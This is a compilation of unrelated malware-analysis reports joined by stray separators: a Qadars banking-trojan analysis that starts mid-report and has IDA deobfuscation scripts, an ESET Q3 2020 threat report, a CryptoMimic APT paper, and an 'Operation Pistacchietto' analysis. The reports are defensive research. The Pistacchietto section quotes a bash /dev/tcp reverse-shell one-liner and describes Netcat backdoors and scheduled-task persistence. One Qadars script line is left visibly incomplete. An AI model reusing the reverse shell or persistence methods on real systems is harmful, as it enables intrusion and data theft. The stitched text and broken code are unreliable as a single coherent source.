### Maintaining Memory Offsets by Inserting NOP Instructions
All resolved entries are stored in an array 748 bytes in size consisting of 187 total API calls.
### Resolved API Function Calls
We will use the following script to XOR the API address array with the original global XOR key. This allows us to patch and relocate the instructions.
```python
# Raashid Bhat
# (C) PhishLabs 2017
# IAT Patch Script Qadars Banking Trojan
XORKey = 0x43B9A447 # 2017 v3
LoadLibException = 0x004196F0
ApiResolvRange = 0x00406150
ApiResolvRangeLen = 0x00409ACC - 0x00406150
from capstone import *
import struct
Debug = 1
def ReadMem(addr, n):
global Debug
if Debug:
return DbgRead(addr, n)
else:
return GetManyBytes(addr, n)
def WriteMem(addr, buff):
global Debug
if Debug:
DbgWrite(addr, buff)
else:
for i in buff:
PatchByte(addr, ord(i))
addr = addr + 1
return
def PatchIndirectCall(MemAddr, Addrs, CallDst):
Reg = ''
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(MemAddr, Addrs):
print "0x%x: %s %s" % (i.address, i.mnemonic, i.op_str)
if i.mnemonic == 'xor' and Reg == '':
print i.op_str[0:3]
Reg = i.op_str[0:3]
if i.mnemonic == 'call':
if i.op_str == Reg:
print "0x%x: %s %s" % (i.address, i.mnemonic, i.op_str)
print "Size = %d" % (i.address - (Addrs + 6))
Inst = ReadMem(Addrs + 6, (i.address - (Addrs + 6))) # read remaining instructions
WriteMem(Addrs, 'x90' * (i.address - (Addrs) + 2)) # write NOPS
WriteMem(Addrs, Inst)
Inst = "xffx15" + struct.pack("...") # incomplete line
WriteMem(i.address - 6, Inst)
return
for i in range(0x004193DC, 0x004196F0, 4):
PatchDword(i, DbgDword(i) ^ XORKey)
if i == LoadLibException:
continue
x = XrefsTo(i)
for j in x:
addr = j.frm
print addr
if addr > ApiResolvRange:
print "[] API Patch Subroutine Skipping..."
continue
print hex(j.frm)
PatchIndirectCall(ReadMem(addr, 0x32), addr, i)
```
### Script to Patch API Address Array
Upon opening this file in IDA, we are presented with an annotated Import Address Table.
### Patched Import Address Table in IDA
Similarly, we can use an IDA script to deal with Qadars string obfuscation which is simply a XOR-based decoding algorithm in which each of the encoded strings has the following structure:
```c
struct EncodedString {
DWORD len;
char Encodedbuf[len]; // XOR encoded with a key
}
```
XORKEY = “4B57A7E012368BE9AA48” // found in sample
The code can be simply represented in Python as follows:
```python
def DecodeString(Ea):
XORBuff = "4B57A7E012368BE9AA48".decode("hex")
BuffLen = Dword(Ea)
print "[] Buffer Len = %d " % BuffLen
dst = ""
for i in range(0, BuffLen):
dst = dst + chr((Byte(Ea + 4 + i) & 0xff) ^ ord(XORBuff[i % (10)]))
print len(dst)
j = 0
for i in dst:
PatchByte(Ea + j, ord(i))
j = j + 1
```
We will use the following IDA Python script to help us with decoding all encoded strings present in Qadars:
```python
# IDAPython String Decoder For Qadars
# Raashid Bhat
# (C) PhishLabs 2017
import struct
procesed = []
def DecodeString(Ea):
XORBuff = "4B57A7E012368BE9AA48".decode("hex") # xorkey
BuffLen = Dword(Ea)
print "[] Buffer Len = %d " % BuffLen
dst = ""
for i in range(0, BuffLen):
dst = dst + chr((Byte(Ea + 4 + i) & 0xff) ^ ord(XORBuff[i % (10)]))
print len(dst)
j = 0
for i in dst:
PatchByte(Ea + j, ord(i))
j = j + 1
for i in CodeRefsTo(ScreenEA(), 1):
print hex(i)
ea = PrevAddr(i)
while "push offset" not in GetDisasm(ea):
ea = PrevAddr(ea)
print GetDisasm(ea)[19:]
if "asc_" in GetDisasm(ea):
addr = GetDisasm(ea)[19:].split(";")[0]
else:
addr = GetDisasm(ea)[19:]
if int(addr, 16) in procesed:
continue
DecodeString(int(addr, 16))
procesed.append(int(addr, 16))
for i in procesed:
MakeStr(i, BADADDR)
```
Running this script on the sample decodes all strings and makes them visible in the Strings window.
## Privilege Escalation / Social Engineering and Spoofing Adobe Update
If Qadars is not presented with a specific set of privileges, it tries to contact and download a module from the command and control center. This module is then loaded in memory and an export, aptly named “Exploit” is invoked to complete the privilege escalation. Currently, a known vulnerability in how the Win32k.sys kernel-mode driver handles objects in memory is exploited for this purpose (CVE-2015-1701).
### Decoding ‘Exploit’ Module
If the privilege escalation code does not work, Qadars attempts to socially engineer the victim with a fake Windows security update prompt. This executes code that allows Qadars to run with higher privileges using the “runas” verb.
Upon execution of the malware, it loads a fake window with a progress bar masquerading as an Adobe Updater application to provide a sense of legitimacy.
## Communication and DGA
Qadars locates the command and control center by generating a list of 200 domains using a combination of a time seed and some constants. On February 1st, Qadars started using a new seed value 0xE1F1, replacing the previous seed, 0xE1F2.
Initially, two information packets are generated and concatenated. They consist of a chunk of information serialized in the following format: botid, version, operation type, etc. This information is packed together and fed to another subroutine which generates a MD5 hash of a 9-byte random string. This string will be used as an AES-128 encryption key which is then appended in the beginning of the encoded packet for command and control traffic decoding.
Information is serialized in each entry in the following format:
```c
struct InfoStructEntry {
unsigned int len;
unsigned char Buffer[len];
}
```
The response is encrypted using AES-128 and the first 16 bytes consist of the MD5 hash of the command and control buffer. This hash is used for verification before processing.
```c
struct c2packet {
BYTE MD5Hash[16];
BYTE []AESEncryptedBuffer;
}
```
After decryption, the base packet consists of metadata information which is used to determine the parameters and type of block to be processed. Multiple entries consist of either modules, updates, or a web inject file which is APLIB compressed.
## Yara rule
The following Yara rule can be used to identify this Qadars variant:
```yara
rule Qadars {
strings:
$dga_function = { 69 C9 93 B1 39 3E BE F1 E1 00 00 2B F1 81 E6 FF FF FF 7F B8 56 55 55 55 F7 EE 8B C2 C1 E8 1F 03 C2 8D 04 40 }
condition:
$dga_function
}
``` |
# ESET Threat Report Q3 2020
## Foreword
Welcome to the Q3 2020 issue of the ESET Threat Report! As the world braces for a pandemic-ridden winter, COVID-19 appears to be losing steam at least in the cybercrime arena. With coronavirus-related lures played out, crooks seem to have gone “back to basics” in Q3 2020. An area where the effects of the pandemic persist, however, is remote work with its many security challenges. This is especially true for attacks targeting Remote Desktop Protocol (RDP), which grew throughout all H1. In Q3, RDP attack attempts climbed by a further 37% in terms of unique clients targeted — likely a result of the growing number of poorly secured systems connected to the internet during the pandemic, and possibly other criminals taking inspiration from ransomware gangs in targeting RDP.
The ransomware scene, closely tracked by ESET specialists, saw a first this quarter — an attack investigated as a homicide after the death of a patient at a ransomware-struck hospital. Another surprising twist was the revival of cryptominers, which had been declining for seven consecutive quarters. There was a lot more happening in Q3: Emotet returning to the scene, Android banking malware surging, new waves of emails impersonating major delivery and logistics companies.
This quarter’s research findings were equally as rich, with ESET researchers uncovering more Wi-Fi chips vulnerable to KrØØk-like bugs, exposing Mac malware bundled with a cryptocurrency trading application, discovering CDRThief targeting Linux VoIP softswitches, and delving into KryptoCibule, a triple threat in regard to cryptocurrencies.
Besides offering recaps of these findings, this report also brings exclusive, previously unpublished ESET research updates, with a special focus on APT group operations. ESET also continued to contribute to the MITRE ATT&CK knowledge base, with four submissions accepted in Q3. Other contributions of our teams include publishing a testing script for Kr00k and a set of tools named Stadeo that facilitate the analysis of the Stantinko malware. This quarter was bustling with virtual events, with ESET researchers sharing their knowledge at various conferences. Happy reading, stay safe — and stay healthy!
## Featured Story
### Beyond KrØØk: Even more Wi-Fi chips vulnerable to eavesdropping
KrØØk (formally CVE-2019-15126) is a vulnerability in Broadcom and Cypress Wi-Fi chips that allows unauthorized decryption of some WPA2-encrypted traffic. Specifically, the bug has led to wireless network data being encrypted with a pairwise session key that is all zeros instead of the proper session key. Exploiting KrØØk allows adversaries to intercept and decrypt potentially sensitive data of interest.
We also observed the manifestation of a similar vulnerability (i.e., lack of encryption) on some Wi-Fi chips by MediaTek. One of the affected devices is the ASUS RT-AC52U router. Another, the Microsoft Azure Sphere development kit, which we looked into as part of our Azure Sphere Security Research Challenge partnership. Azure Sphere uses MediaTek’s MT3620 microcontroller and targets a wide range of IoT applications, including smart home, commercial, industrial, and many other domains.
### EFI malware
ESET Research identified multiple malicious EFI bootloader samples. The malware, detected by ESET products as EFI/EFIlock, displays a ransom message and prevents the computer from booting. It can compromise computers that have the UEFI Secure Boot feature disabled. A dropper replaces the default EFI bootloader “bootx64.efi” and deletes Microsoft EFI modules on the EFI system partition in order to boot a malicious one. The replaced bootloader just displays a ransom message and executes an infinite loop. Despite what the ransom message claims, EFIlock does not encrypt affected computers.
### Evilnum group
ESET Research analyzed the operations of Evilnum, the cybercriminal group behind the Evilnum malware, used in attacks against financial technology companies. The research reveals that the group’s toolset and infrastructure have evolved, consisting of a mix of custom, homemade malware combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider whose infamous customers include FIN6 and Cobalt Group.
### Mac threats
ESET Research discovered websites distributing trojanized cryptocurrency trading applications for Mac computers. These are legitimate apps wrapped with GMERA malware, whose operators used them to steal sensitive victim information. In this new GMERA campaign, the legitimate Kattana trading application was extensively rebranded — including setting up copycat websites — and the malware was bundled into its installer.
### Banking malware
ESET researchers dissected Mekotio, a banking trojan targeting Spanish- and Portuguese-speaking countries. Mekotio has several typical backdoor capabilities, including taking screenshots, restarting affected machines, restricting access to legitimate banking websites, and, in some variants, even stealing bitcoins and exfiltrating credentials stored by the Google Chrome browser.
### Android threats
ESET researchers discovered a new operation within a long-running cyberespionage campaign in the Middle East, apparently with links to the threat actor group known as Gaza Hackers, or Molerats. Instrumental in the operation is an Android app, Welcome Chat, which serves as spyware while also delivering the promised chat functionality.
### APT Group Activity
The Gamaredon group was highly active during Q3 2020, continuing its relentless targeting of governmental organizations in Ukraine. The group has updated its malware arsenal, deploying various tools and malware to compromise legitimate resources.
## Statistics & Trends
### Rate of malware detections in Q3 2020
- VBA/TrojanDownloader.Agent trojan: 19.3%
- LNK/Agent trojan: 8.1%
- Win/Exploit.CVE-2017-11882 trojan: 5.4%
- HTML/Fraud trojan: 4.1%
- DOC/TrojanDownloader.Agent trojan: 3.0%
- DOC/Fraud trojan: 2.6%
- HTML/Phishing.Agent trojan: 2.1%
- JS/Agent trojan: 1.8%
- Win/HackTool.Equation trojan: 1.6%
- PDF/Fraud trojan: 1.6%
### Top 10 malware detections
- VBA/TrojanDownloader.Agent trojan: Q2 2020: 2 ↑ Q3 2020: 1
- LNK/Agent trojan: Q2 2020: 1 ↓ Q3 2020: 2
- DOC/Fraud trojan: Q2 2020: 14 ↑ Q3 2020: 6
- HTML/Phishing.Agent trojan: Q2 2020: 6 ↓ Q3 2020: 7
- Win/Exploit.CVE-2017-11882 trojan: Q2 2020: 3 ↔ Q3 2020: 3
- JS/Agent trojan: Q2 2020: 7 ↓ Q3 2020: 8
- PDF/Fraud trojan: Q2 2020: 16 ↑ Q3 2020: 10
### Ransomware
ESET telemetry shows an almost 20% decline in ransomware activity in Q3. This includes mostly families that are mass-spread via email campaigns and only a very limited number of targeted attacks misusing poorly configured RDP. The most vivid case spread via email was documented in France distributing Trojan.MSIL/Filecoder.ABC.
### Cryptominers
Following a long-term overall decline, cryptominer detections appear to have stabilized in Q3 2020, with the quarter itself exhibiting a slight upwards trend. The detection levels were steady in July and August and went up slightly in September, rising almost to peak Q2 values.
### Spyware & Backdoors
Spyware and backdoor detections were on a slight downward trend in Q3 2020, declining by 7% and 3% respectively, compared to Q2. Houdrat remained in first place, its prevalence driven by its invasive spreading mechanism, and poor cyber hygiene in developing markets.
### Exploits
Unique clients reporting brute-force RDP attack attempts grew by 37% quarter-over-quarter, while total attack attempts increased by 140%, followed by a short-lived drop at the end of the quarter. The overall quantity of attack attempts saw extreme growth, adding 140% detections over the previous quarter. |
# UNVEILING THE CRYPTOMIMIC
**Hajime Takai, Shogo Hayashi & Rintaro Koike**
NTT Security (Japan) KK
hajime.takai@global.ntt
syogo.hayashi@global.ntt
rintaro.koike@global.ntt
## ABSTRACT
CryptoMimic (also called Dangerous Password) is an APT actor that has been observed since around March 2018. It is reported that CryptoMimic attacks international businesses and organizations, particularly targeting cryptocurrency companies. Several security researchers worldwide have published reports on this attack, but they have only dealt with the initial part of the attack. CryptoMimic is very careful, making it extremely difficult to observe the attack under virtual environments, including in a sandbox. As a result, there has been no detailed report that deals with the malware that the attacker finally executes or how it behaves during the attack.
In this paper, we will reveal the analysis of an unknown malware sample (never reported before) and the picture of the whole attack. We first introduce two initial samples (a LNK file and a macro-embedded MS Office file) used by CryptoMimic. Then, focusing on the attack using the LNK file, we disclose the whole picture of CryptoMimic that we observed in February 2020.
We detail how the attack proceeds from the initial sample to the final malware execution, along with the results of analysis of the attacker’s behaviors and the executed malware. We also describe the various metadata that we discovered the attacker had left on the victim. By leveraging the metadata, we try to unveil the attacker’s profile or attribution.
## INTRODUCTION
### Profile
CryptoMimic, the APT attack group we are chasing, is also known as Dangerous Password, CageyChameleon, and Leery Turtle. Since April 2018, the group has been active with almost unchanged TTPs.
As reported, CryptoMimic targets banks and finance-related organizations, particularly those related to cryptocurrencies. Targeted organizations exist worldwide, including in Japan, Russia, Europe, and the US. Unlike other APT attack groups, it seems that the group’s main objective is to earn money. The group’s activity is very vigorous, and we monitored 15 attacks in March 2020. Interestingly, there were no attacks on Sundays.
### TTPs
**Initial access**
The majority of CryptoMimic attacks start with an email containing a link to a website or a LinkedIn message. In most cases, the link to the website is shortened by Bitly. As soon as a user opens the link, a file is downloaded from a cloud service such as OneDrive via a server prepared by the group. The email is tailored to each target, sometimes pretending to be sent by the CEO of the target organization or including the name of the organization or service in the email body or attached file.
**Execution**
The downloaded Zip file includes a document file, such as .doc or .pdf, and a LNK file. In many cases, the name of the LNK file is something like ‘Password.txt.lnk’. Because the document file is password protected, the user is fooled into opening the LNK file to check the password, which initiates the attack.
The downloaded Zip file and the document file are sometimes designed to attract the target’s interest. The document file might include the name of the target organization or contents relating to the target organization. The name of the LNK file is also changed according to targets. For example, if a target uses Japanese, the name of the LNK file could be ‘ǧǏȅ✣ǟ.txt.lnk’.
Besides the LNK file, the group might use a document file with macros or a .chm file. But in recent attacks, the group has mainly used LNK files.
As soon as the LNK (or other) file is opened, it accesses a website using mshta.exe. The link to the website is shortened by Bitly. The VBScript embedded in the website is then read and executed by mshta.exe. The script subsequently downloads other scripts and finally gains functionality as a RAT. In this manner, CryptoMimic gains control of the target computer and steals sensitive information.
CryptoMimic seems to go to great lengths to avoid providing the malicious file to third parties other than the original target. The download URL for the Zip file sent to the target becomes invalid promptly. Files including the Zip file are supplied by leveraging a redirect from the website the group prepared to a cloud service such as OneDrive, but redirecting is available for only two or three days. Even if the redirecting is available, the downloaded file may be replaced with a benign one. The DNS record for the domain for the website the group prepared is deleted and becomes unreachable after a week or so. If you receive and open the malicious file, the lifetime of the URL that mshta.exe accesses is as short as the download URL of the malicious file.
### Discovery
As the attack goes on, CryptoMimic sends a RAT called Cabbage RAT, written in VBScript in stages. In its early stage, it checks the target’s environment. To be more specific, Cabbage RAT-B collects and sends the system and task information of its working environment to the C&C server. If CryptoMimic doesn’t judge it as an attractive target, the attack won’t go any further. It seems that the group identifies targets by IP or MAC address. The attack will stop if either were included in the past target history. Existing public reports don’t discuss the breach beyond Cabbage RAT-B.
### Command and control
Cabbage RAT-C is controlled by CryptoMimic interactively. When we observed the attack, the group reviewed various directories and stole files that the group thought interesting. The group’s favorite was files that include personal or sensitive information, or financially-related ones. The group then investigated the system or network and downloaded and executed three executable files on the target system. They were a highly sophisticated RAT and malware for information theft.
Though the attack by CryptoMimic has been ongoing, no detailed research has been published so far, and the attributes of the group remain unknown.
## OBSERVATION
### Overview
In February 2020, we successfully observed the whole sequence of an attack that started with a LNK file. We believe that the observed attack was performed by CryptoMimic. As a result of deep analysis, it became clear that the group had used some unknown malware never before reported and executed commands on the victim host using a RAT during the attack. The rest of this chapter will be dedicated to describing the attack we observed.
### Attack flow
The attack started with a LNK file, and the victim was infected by a RAT and malware that steals information. Focusing on the former half of the attack, there are several similarities with CryptoMimic’s past attacks. For example, there is a report that, in the past, the group used the technique to leverage a LNK file to let a victim download and execute a dropper written in VBScript. In addition, the source code of Cabbage RAT-A is almost the same as that of the RAT the group used in the past. The usage of a decoy also has similarities with past attacks. All these similarities gave us great insight into isolating the attacking group. On the other hand, prior to our study, it has never been reported that the group uses msoRAT or a credential stealer.
### Timeline
The timeline of the attack we observed shows that as soon as Downloader-A was executed, Cabbage RAT-A initiated HTTP access to the C&C server and received a response after about an hour. It also shows that the whole attack was completed in three hours or so. According to the timeline, the Windows event log was deleted at 12:27, and the file we copied was deleted at 12:29. The attacker then performed destructive activity and left the victim. It is likely that the attacker noticed that his activity had been observed and tried to wipe the traces of the attack.
### Windows commands
In this attack, RATs written in VBScript or implemented as DLLs were used. The attacker launched several Windows commands on the victim host via these RATs. We think that the attacker stole information on the victim host or investigated other hosts on the same network by leveraging these commands. It is widely known that attackers who engage in APT attacks frequently use standard Windows commands to avoid detection. It seems that the same theory was also applied to this attack.
### MALWARE ANALYSIS
**Downloader-A**
The origin of the attack was a LNK file named Password.txt.lnk. The command line prepared at the link target of the LNK file executes VBScript code as a result of downloading the HTML file from the C&C server by leveraging mshta.exe.
**Dropper**
The dropper is a VBScript file downloaded and executed by Downloader-A. It creates and executes a decoy, Downloader-B, and Cabbage RAT-A.
**Drop and open decoy**
The dropper creates the file ‘%TEMP%Password.txt’ using the echo command, opens the file using notepad.exe, and deletes ‘%TEMP%Password.txt’ using the del command.
**Drop and execute Cabbage RAT-A**
The dropper creates Cabbage RAT-A, which executes the data received from the C&C server using the Execute method.
**Drop and persist Downloader-B**
Downloader-B is configured to download a file from the C&C server and execute it using mshta.exe. The dropper realizes persistence by placing Downloader-B in the startup directory.
**Cabbage RAT-A**
Cabbage RAT-A executes the data received from the C&C server using the Execute method.
**Cabbage RAT-B**
Cabbage RAT-B sends an HTTP request that includes information about the victim host to the C&C server once per minute.
**Cabbage RAT-C**
Cabbage RAT-C decodes the string stored in a variable using Base64 and executes it using the Execute method. Its functionality as a RAT is implemented in the code executed by this Execute method.
**Browser info stealer**
The browser info stealer is an executable file downloaded and executed by Cabbage RAT-C. It has functionality to steal cookies and passwords stored by Google Chrome.
**msoRAT**
msoRAT is a DLL file downloaded and executed by Cabbage RAT-C. This malware’s name comes from the file name it reads and writes: ‘c:\windows\apppatch\msomain.sdb’.
**Credential stealer**
The credential stealer is a file that is downloaded and persisted by msoRAT. It uses Security Packages to handle the authentication of third-party systems.
## Attribution
CryptoMimic targets the finance industry, particularly organizations related to cryptocurrency. The group’s main objective is earning money. There are many attack groups motivated by money, but the number of groups that mainly target the cryptocurrency industry using sophisticated techniques is limited. The most notorious attack group is Lazarus.
Summarizing the information gathered from initial samples provides some insight into the identity of the attack group. CryptoMimic mainly uses LNK files, but it also uses a document file with macros or a chm file. These characteristics are similar to those of Lazarus activity.
## HUNTING & DEFENCE
CryptoMimic prefers to use a LNK file as an initial sample. The easiest way to detect the group’s LNK file is to create a signature that detects the filename, such as ‘Password.txt.lnk’. The group has been using the same filename for two years and will likely continue this convention.
There are various traces on the group’s LNK files. Their Machine ID or MAC address are always different, but Volume Serial Number and parsing path are sometimes the same. The C&C server with which the initial and second sample communicate has several characteristics, including the use of domains that pretend to be legitimate services.
## CONCLUSION
CryptoMimic is an active APT attack group that mainly targets cryptocurrency organizations, active since 2018. The group starts its attack with a LNK or document file, investigates the victim’s environment, or steals information using a RAT written in VBScript. It also uses msoRAT or a tool that can steal credentials. In this paper, we have discussed an actual attack by CryptoMimic that we observed and have introduced the attack origin and the malware used along with the results of our detailed analysis.
At the same time, we have considered the attribution of the group from all aspects. Unfortunately, there is no clear evidence, but we note that the group’s objective and attacking technique are similar to those of Lazarus. There might be some relationship between CryptoMimic and Lazarus. We continue to consider the attribution of CryptoMimic.
Finally, it is likely that CryptoMimic continues working actively, targeting the finance industry, especially cryptocurrency organizations, worldwide. To protect yourself from CryptoMimic attacks, we recommend leveraging the information that we proposed in this paper for detecting and defending. |
# Op. “Pistacchietto”: An Italian Job
## Introduction
In the past weeks, a new strange campaign emerged in the Italian landscape. It has been baptized “Operation Pistacchietto” from a username extracted from a Github account used to serve some part of the malware. This campaign has been initially studied by C.R.A.M. researchers reporting the attacker seems to be Italian, as evidenced by some Italian words like “pistacchietto” or “bonifico” discovered into analyzed file names and scripts, and due to the location of most of the command and control servers.
After an initial recon, Cybaz-Yoroi ZLAB detected some peculiarities and interesting TTPs in place in this malicious operation, so we decided to dig further and analyze more samples related to this mysterious actor.
## Technical analysis
The campaign is not very trivial and it is composed of several specific malwares, created to hit devices belonging to different platforms, both desktop and mobile. In the following sections, we analyze some of these malware, divided by targets’ architecture.
### MS Windows Samples
The story starts from a basic fake Java page, inviting the user to update his Java version clicking on the link. Despite the page reports the filename “window-update.hta”, clicking on “Update” a file .bat will be downloaded.
**Hash:** a22ac932707e458c692ba72e5f4ddb3317817ac3a9a1ccbcccbdf720a9bd2cd4
**Threat:** Unknown
**Description:** BAT downloader
**ssdeep:** 192:/eIsseWdvqEB45kY7EBk2k0EBxbkdEBBmk/kgkWOQmxl1LXqiV/uvN:/wyB4WYw-BkRNBeKBBBsDWwFw
Uploading this .bat file on VirusTotal emerges that it has a very low detection rate: only four anti-malwares were able to detect it.
Inspecting the win.bat source code, at first glance, it seems to be written by a script kiddie or to be a first draft due to the huge amount of comments. Moreover, the script is composed of two parts: a first one includes a trick to ask user administrative privileges, the second one aims to download other components and to set persistence using the Windows Task Scheduler (schtasks). The first part simply corresponds to a code snippet retrieved from Github public repositories.
The second part checks the machine architecture and, depending on it, the malware downloads the right components, that are:
- A text file containing new actions to execute, from config01.homepc[.it/svc/wup.php?pc=pdf_%computername%
- The NETCAT utility for Windows, from config01.homepc[.it/win/nc64.exe and config01.homepc[.it/win/nc.exe
- The WGET utility for Windows, from config01.homepc[.it/win/wget.exe and config01.homepc[.it/win/wget32.exe
- Other malicious artifacts, from:
- config01.homepc[.it/win/get.vbs
- config01.homepc[.it/win/sys.xml
- config01.homepc[.it/win/syskill.xml
- config01.homepc[.it/win/office_get.xml
- config01.homepc[.it/win/woffice.exe
- config01.homepc[.it/win/init.vbs
- config01.homepc[.it/win/winsw.exe
From the snippet, a series of commented URL paths emerge, which is the proof that the malware is under maintenance yet. During the analysis days, indeed, the bat file and some other artifacts are constantly changed and updated, adding and removing code lines, changing variables names, but without changing the server URL or the general behavior. These modifications, even if related to attacker’s proofs or test cases, make the file constantly low-detectable by anti-malwares, because its signatures change each time.
Other URLs embedded into the script, in commented way, are:
- hxxps://github[.com/pistacchietto/Win-Python-Backdoor/raw/master
- hxxp://verifiche.ddns[.net/{some_files}
Inspecting the repository, we found some artifacts also hosted on the config01.homepc[.it/win/ location, so probably the attacker used that platform during the development phase and config01.homepc.it as real server containing “production” malware. The URL verifiche.ddns[.net seems to be down at time of writing, it could be a server used in an old version of this malicious project or in a future one.
After downloading all the components, the batch script implants most of them into %windir% folder and one of them, the core of the malware, into C:\Program Files\Windows Defender. Then, the script registers some automatic tasks through schtasks in order to start periodically the malicious artifacts.
### Sample “office_get.xml”
**Hash:** 1061e997486c793ab5561fd7df0c2eb36b9390a564101e7ae5cc8dbf9541f750
**Threat:** Unknown
**Description:** XML Task Scheduler Config
**ssdeep:** 48:yei1q9dBQSRiylw9c9V9LTra+iaiudupRCRvA9ufAuRa7T5XHPsV8icvOyp+++:tdBd-RiyuwdiaigVA9ll7dHFFvOC+
It is a simple XML file in which is defined the configuration for a new scheduled task. In particular, the task created using this configuration file has the only purpose of execute, in periodic way, a VisualBasic script located in C:\WINDOWS\get.vbs.
### Sample “get.vbs”
**Hash:** 6edbf8b3f94d29be7c24676fbf2d1e4cdf00b1f7b9f31c2ce458d1e21b23af97
**Threat:** Unknown
**Description:** VBS script
**ssdeep:** 48:eTGvmB9tJWBVn/Bn6+pmcN+yEa/5noEW/hRbr94fIn9+0RYcSniTGFurRwx:eT-GO1Yr/V6gmDyPJoE0hxGfIn9D1ITlx
The script downloads a shared file from Google Drive: https://drive.google [.com/uc?export=download&id=1nT2hQWW1tOM_yxPK5_nhIm8xBVETGXdF using a MSXML2.ServerXMLHTTP object. The file contains a list of servers URLs.
Two of them are IPv6 addresses: the usage of the new IP address standard is a rare feature in malware landscape. From the whois information related to these IPv6 addresses emerges that they are registered on the global ISP Hurricane Electric. This company also provides a free IPv6 Tunnel Broker service, able to act as a link between IPv4 and IPv6 protocols. There is no direct evidence of activity on that IPv6 addresses, however we think probably the attacker decided to masquerade its C2, which normally works over IPv4, behind the Hurricane’s IPv6 tunnel in order to make detection more difficult.
During the check-in, the malware proceeds to extract some PC information, like computer name and MAC address, which will be sent to the server using a path composed by:
http://" & serverURL & "/svc/wup.php?pc=" & strComputerName & "_" & mac
The server responds with an encoded message indicating new actions the malware should perform. However, the VBS script seems to check only the “exec” field. If “exec” parameter is set to “1”, then the script extracts the value of “cmd” parameter, containing the new command to execute, and run it on Shell. All the other fields, at the moment, are not considered by the malware, indicating that it may be still under development.
After executing the received commands, the script opens connection towards malicious server using the Netcat tool previously downloaded, providing to the attacker an access to the victim’s shell.
### Samples “woffice.exe”, “woffice2.exe” and “NisSrv.exe”
**Hash:** 3eecd459aa454f7973048af310c7086ff4a74efd5a3aee9f909cca324a0e2013
**Threat:** Unknown
**Description:** EXE from woffice
**ssdeep:** 196608:eC0ma2TBEF4nfFzqgncRxhocAU/kfCf+51loM8XdFu/apXLl:eCI26dGnf-CW51ittnNLl
The “woffice2.exe” and “NisSrv.exe” files are equal to “woffice.exe”, which is simply the compiled version of “woffice.py”, the Python source file hosted in the “Pistacchietto” repository. The Python code has the same behavior of the VBS bot previously analyzed, but it uses different C2 URLs.
So, the attacker created different copies of the same malicious backdoor, and set them to run at the same time, probably as a resilience technique.
### Samples “sys.xml” and “syskill.xml”
**Hash:** a9f5e4c294ce6fb3bbdc4cd1ce3b23136005ce1dd57b2e8d20ed2161eea9f62b
**Threat:** Unknown
**Description:** XML Task Scheduler Config
**ssdeep:** 48:yei1q9dBQSJiydw9c9V9Lvara+iaiudupRCRvA9ufAuRa7T5XhPsV8iILG+++:tdBdJiy-GiGdiaigVA9ll7dhF2+
**Hash:** 6d3e7adcf9626bbee6935c6e8ced13831ac419be19b9d13bc361bda402fbaca7
**Threat:** Unknown
**Description:** XML Task Scheduler Config
**ssdeep:** 48:yei1q9dtQSJiydw9c9V9Lvara+iaiudupRCRvA9ufAuRa7T5XhPsV8ioXy+++:tdtdJiyGi-GdiaigVA9ll7dhF0+
These files are two XML task scheduler configurations, which embed the following commands:
The first one starts a TCP connection every 1 minute using Netcat (“nc64.exe”), towards a new server “config02.addns[.org”. The second one, instead, kills all the active processes named “nc64.exe” every 5 minutes.
### Linux, OSX and Android Samples
The attacker’s arsenal seems to be composed by weapons for different architectures: beyond Windows, there are some samples related to Linux, Mac and Android devices. In the Windows, Linux and Mac variant of the malware, the behavior is always the same: it implants the automatic execution of the Python backdoor previously shown.
**Hash:** 61aaf7b301ed9f574ec3e37428e0e9c62875ddf8a075897408d5b1eb612097cc
**Threat:** Unknown
**Description:** Office.py Linux backdoor
**ssdeep:** 96:Urlxr+CkrZcGbSRonYZm/ZCweAM2eiuVzZ9Q6CsW7XpyMZEg59y5E6AwKwA:U7+CkrZcfnZgZEiuWEMZHs5E6+
In the following figure is shown the initial bash file used to set the schedule of the “woffice.py” backdoor, through the “crontab” and “systemctl” Linux commands.
Obviously, all the Windows commands executed into the Win version of the backdoor must be replaced by the Unix one. So, the command “bash -i >& /dev/tcp/ip/port 0>&1” takes the place of the instruction used to establish the Netcat reverse shell in Windows.
The Mac backdoor is very similar to Linux one, another time the “woffice.py” is the core payload.
**Hash:** 008bab1cc06a8c9fcdbc0e539d7709de0d163acaf26d90c78c00e7c58fa29fc3
**Threat:** Unknown
**Description:** Office.py OSX backdoor
**ssdeep:** 96:qTXEPcRrdj9iGxGy8g/VEhhBpypDR9jxmCY3leO2pDR9jx5jYO74MkWI7G9xcst:q9-due/cfypO2z4M2Gl
Analyzing the repository emerges it is a copy of a OSX backdoor discussed in this blog post. Starting from this code, the attacker edited some modules to embed it in its own version of the backdoor.
Moreover, the arsenal malicious arsenal counts also an Android RAT. It is a copy of the popular “AhMyth Android Rat”, edited by the attacker to include its command and control server’s IP addresses.
## Conclusions
The “Pistacchietto” operation is more complex than we initially thought. Behind the lack of professional infrastructure, the “hiding in plain sight” strategy, the developer’s comments, the drafted malware code analyzed and the speculations about the possible amateur nature of this actor, we are in front of a long running espionage operation, active from years, and supporting at least four of the main computing platforms available nowadays, being able to infect Microsoft Windows hosts, Mac OSX systems, Linux servers and Android mobile devices.
We are still not aware of the purposes of this campaign, which could be most likely personally motivated rather than financially or state sponsored, but despite its limited numbers it represents an important warning security communities, individuals and companies should not ignore. Offensive capabilities to run criminal espionage operations are getting even more accessible to personally motivated cyber actors, confirming the expansion of the cyber threat panorama both in terms of volume and variety observed by security firms, observatories and associations from a decade ago to nowadays.
As a final remark, we would like to recall Italy also is not new of this kind of “fai-da-te” (homemade) espionage operations: back in 2017 the initially homemade Occhionero’s espionage campaign lapped Public Administrations, notorious entrepreneurs and also the Italian Ex Prime Minister.
## Indicators of compromise
**C2:**
- hxxp://config01.homepc[.it
- hxxp://verifiche.ddns[.net
- hxxps://github[.com/pistacchietto/Win-Python-Backdoor/raw/master
- hxxp://paner.altervista[.org
- hxxp://config02.addns[.org
- certificates.ddns[.net
- 52.26.124[.145
- visionstore[.info
- [2001:470:25:686::2]
- [2001:470:1f0a:12af::2]
**Hashes:**
- 40e01c946618942c90851a09cb3e43c1e4d1e7d999ac97e9dab0f0a6222ca3ff (win.bat 20190225)
- a22ac932707e458c692ba72e5f4ddb3317817ac3a9a1ccbcccbdf720a9bd2cd4 (win.bat 20190226)
- d55331abdcedb96be387c70ddf8dd8d783cdf24be7e37e9913939f87e4a6b248 (win.bat 20190227)
- 1061e997486c793ab5561fd7df0c2eb36b9390a564101e7ae5cc8dbf9541f750
